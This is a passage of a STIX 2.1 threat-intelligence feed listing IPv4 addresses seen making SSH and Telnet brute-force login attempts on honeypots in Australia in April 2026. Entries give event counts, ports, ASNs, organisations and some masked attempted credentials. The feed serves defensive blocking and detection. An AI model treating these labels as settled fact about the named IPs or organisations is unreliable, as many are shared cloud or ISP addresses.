      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.185.129.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 4181. Organisation(s): TDS TELECOM.",
      "id": "indicator--ff9b251f-322a-48f9-b492-f814bee33e1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '69.130.68.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 214209. Organisation(s): Internet Magnate (Pty) Ltd. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--892932a3-66d1-45a4-b885-ff485b6c917f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.156.152.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 65. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53767. Organisation(s): iCastCenter. Usernames observed (masked): r**t, a***n, u**r, u****u. Passwords observed (masked): , P******d, Q********@, a***n, q*******3.",
      "id": "indicator--03d814f8-dabf-4931-9608-fafc6a966f86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.36.21.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--317c598c-db6f-4b84-b6a8-9ce7a09a37e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.164.64.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--44254719-6a8a-4ecc-b514-36837d0067ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.105.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--4a524640-61de-4ca3-b8de-0308c4fee872",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.146.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): u**r, a***n, u****u, r**t, 3**********4. Passwords observed (masked): 1****6, 1****6, 1*******9, 3***********4, 3**********4.",
      "id": "indicator--cbec986d-f8c1-46f0-b90e-5b1699ed74a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--68f37d78-0279-4508-b729-ae651ace3a69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.151.130.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 50543. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--3e5d7e06-3205-4aaa-9f74-456bb7b54bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.235.137.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--4a9a87f0-6278-4b6d-bdfb-e0fc1cd7c0e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.253.247.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T22:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 397778. Organisation(s): Beanfield Technologies Inc..",
      "id": "indicator--55693c3e-4402-4be9-95dc-d0d4d4a37676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T22:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.23.115.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T22:15:26.000Z",
      "valid_until": "2026-05-31T22:15:08.000Z"
    },
    {
      "created": "2026-04-29T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 979. Organisation(s): NetLab Global.",
      "id": "indicator--81dd3be0-60ba-4f0e-b6fd-c28ca05a661c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.36.132.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:15:10.000Z",
      "valid_until": "2026-05-31T23:15:09.000Z"
    },
    {
      "created": "2026-04-29T23:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): s**n. Passwords observed (masked): .",
      "id": "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:15:10.000Z",
      "valid_until": "2026-05-31T23:15:09.000Z"
    },
    {
      "created": "2026-04-29T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--259afe56-f01c-4dbd-beaf-efbc4b35abee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.206.38.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:15:10.000Z",
      "valid_until": "2026-05-31T23:15:09.000Z"
    },
    {
      "created": "2026-04-29T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--25d8b03e-e30b-4943-a84c-38dc512428d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.27.185.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:15:10.000Z",
      "valid_until": "2026-05-31T23:15:09.000Z"
    },
    {
      "created": "2026-04-29T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 43357. Organisation(s): Owl Limited. Usernames observed (masked): m******e. Passwords observed (masked): a*************!.",
      "id": "indicator--ee8ba13f-5fbf-4bc2-b382-344fcc1c305a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.60.40.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:15:10.000Z",
      "valid_until": "2026-05-31T23:15:09.000Z"
    },
    {
      "created": "2026-04-30T00:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 60068. Organisation(s): Datacamp Limited.",
      "id": "indicator--a8148696-84ef-4ec6-9af0-012af2770614",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T00:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.199.40.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T00:15:33.000Z",
      "valid_until": "2026-06-01T00:15:08.000Z"
    },
    {
      "created": "2026-04-30T00:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9fb5967b-ccd8-413e-99b1-9f92e9f33420",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T00:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.212.200.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T00:15:33.000Z",
      "valid_until": "2026-06-01T00:15:08.000Z"
    },
    {
      "created": "2026-04-30T00:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, u***1, 3**********4, u****u. Passwords observed (masked): 1***5, 1******6, 3***********4, 3**********4, K*******4.",
      "id": "indicator--e55091b1-d117-4bf9-883c-c02c02b6774b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T00:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.139.88.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T00:15:33.000Z",
      "valid_until": "2026-06-01T00:15:08.000Z"
    },
    {
      "created": "2026-04-30T00:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 218. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a***n, f****e, p******s. Passwords observed (masked): 1***1, 1*******3, 1*****!, 1******2, 3***********4.",
      "id": "indicator--de8102b8-c805-4f2f-b857-78eb4456d756",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T00:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.156.71.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T00:15:33.000Z",
      "valid_until": "2026-06-01T00:15:08.000Z"
    },
    {
      "created": "2026-04-30T01:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266279. Organisation(s): QUALITY TELECOM LTDA.",
      "id": "indicator--7c74a73c-cb72-4e02-8e24-e8f203a66488",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '170.78.130.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:15:06.000Z",
      "valid_until": "2026-06-01T01:15:04.000Z"
    },
    {
      "created": "2026-04-30T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cb0aa2bc-f005-4780-9349-06c8c2e07684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.82.104.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:15:06.000Z",
      "valid_until": "2026-06-01T01:15:04.000Z"
    },
    {
      "created": "2026-04-30T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--20626efa-f36c-4a82-8c72-aa80e96398d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.104.64.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:15:06.000Z",
      "valid_until": "2026-06-01T01:15:04.000Z"
    },
    {
      "created": "2026-04-30T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--9546d18b-d9a2-40b7-af10-3e17ef282d1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.69.181.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:15:10.000Z",
      "valid_until": "2026-06-01T02:15:08.000Z"
    },
    {
      "created": "2026-04-30T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--7ad725fd-78a3-4687-a2fb-af9b9eac94d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.156.44.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:15:10.000Z",
      "valid_until": "2026-06-01T02:15:08.000Z"
    },
    {
      "created": "2026-04-30T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 23949. Organisation(s): PT Comtronics Systems. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 7**********n, d*****t, k*****4, m****m.",
      "id": "indicator--f9df1ad8-b3f1-448b-b9a4-d48a8a23da08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.229.20.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:15:10.000Z",
      "valid_until": "2026-06-01T02:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 24835. Organisation(s): RAYA Telecom - Egypt.",
      "id": "indicator--50c9a83d-1034-4da1-a0c3-1fbc8d729f15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.184.77.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328170. Organisation(s): DataKeepers.",
      "id": "indicator--4e9bd4ad-95ad-4fd2-96f4-bef66ed28b6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.22.83.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--4f401ff9-bbb5-43de-a41e-7098ef0f18f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.222.210.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 67. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): 3**********4, a***n, g***t, p********l, s******n. Passwords observed (masked): 1******x, 3**********4, a*****3, g****1, p******s.",
      "id": "indicator--29a8e158-b205-4d2f-a1c4-c2121d957f00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.112.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--775d5014-4ef4-467c-917b-486faf1085ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 273198. Organisation(s): RODRIGUEZ CABLEVISION SRL.",
      "id": "indicator--2da48539-d7e0-472a-80e7-444e111a3ee7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.10.131.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T03:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131740. Organisation(s): PT Smart Media Pratama. Usernames observed (masked): h****r, 3**********4, a******3, ***, g****b. Passwords observed (masked): 0******0, 1*******9, 1******r, 3***********4, 3**********4.",
      "id": "indicator--98144b27-e8e8-4084-8f66-ee2fc9bef668",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T03:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.245.249.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:15:30.000Z",
      "valid_until": "2026-06-01T03:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): P******d.",
      "id": "indicator--352d9374-2103-457b-9d91-9bd51d146de3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.149.27.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, f*****r, 3**********4, f******n, p******s. Passwords observed (masked): 1****1, 3***********4, 3**********4, A*******3, P******d.",
      "id": "indicator--fd26dc13-ddb7-446c-9c90-1b2226ff51f5",
      "labels": [
        "bruteforce"
      ],
